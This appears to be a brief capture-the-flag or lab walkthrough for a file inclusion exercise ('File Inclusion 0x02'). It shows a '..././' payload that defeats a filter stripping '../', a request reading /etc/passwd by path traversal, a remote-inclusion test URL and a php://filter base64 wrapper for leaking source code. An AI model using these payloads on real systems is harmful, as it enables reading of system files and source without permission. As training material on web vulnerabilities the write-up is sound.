File Inclusion 0x02

It will bypass the filter

../

since 

we have payload that
..././

removing the first ../

resulting in

../

/labs/fi0x02.php?filename=..././..././..././..././etc/passwd

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ADDDITIONALLY WE HAVE RFI

/labs/fi0x02.php?filename=https://google.com 

php://filter/convert.base64-encode/resource=index.php

DECODE IT USING BASE64